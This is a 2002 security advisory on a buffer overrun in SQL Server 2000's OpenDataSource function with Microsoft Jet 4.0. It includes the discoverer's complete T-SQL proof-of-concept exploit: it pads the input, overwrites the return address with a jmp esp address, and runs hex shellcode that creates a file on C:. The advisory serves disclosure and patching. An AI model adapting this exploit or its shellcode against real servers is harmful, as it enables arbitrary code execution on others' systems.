Reported June 19, 2002, by Next Generation Security Software.

VERSIONS AFFECTED

 

  • Microsoft SQL Server 2000 and all service packs

 

DESCRIPTION

A vulnerability exists in SQL Server 2000 when used in conjunction with the Microsoft Jet 4.0 database engine that can lead to an attacker executing arbitrary code on the vulnerable system. This vulnerability stems from a remotely exploitable buffer overrun in the OpenDataSource function.

DEMONSTRATION

 

The discoverer posted the following code as proof-of-concept:

 

Simple Proof of Concept
***********************
This Transact SQL Script will create a file called "SQL-ODSJET-BO" on the root of the C: drive
on Windows 2000 SP 2 machines
 

 

-------8<---------
 

-- Simple Proof of Concept
-- Exploits a buffer overrun in OpenDataSource()
--
-- Demonstrates how to exploit a UNICODE overflow using T-SQL
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
-- I'm overwriting the saved return address with 0x42B0C9DC
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
-- The address holds a jmp esp instruction.
--
-- To protect against this overflow download the latest Jet Service 
-- pack from Microsoft - http://www.microsoft.com/
-- 
-- David Litchfield (david@ngssoftware.com)
-- 19th June 2002
 

 

 

declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)
 

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141
 

while @cnt < 1063
begin 
                select @padding = @padding + @pad
                select @cnt = @cnt + 1
end
 

-- overwrite the saved return address
 

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x4343434344444444454545454646464647474747
 

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K Sp2
-- change if running a different service pack
 

select @code = 0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0C05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N'SELECT * FROM OpenDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'
select @exploit = @exploit + @padding + @saved_return_address + @more_pad + @code
select @exploit = @exploit + N'";User ID=Admin;Password=;Extended properties=Excel 5.0'')...xactions'
exec (@exploit)
 

------->8---------

 

 

VENDOR RESPONSE

The vendor, Microsoft, recommends that affected users apply the patch mentioned in the Microsoft article "ACC2002: Updated Version of Microsoft Jet 4.0 Available in Download Center," Q282010.

 

CREDIT
Discovered by Mark Litchfield of Next Generation Security Software.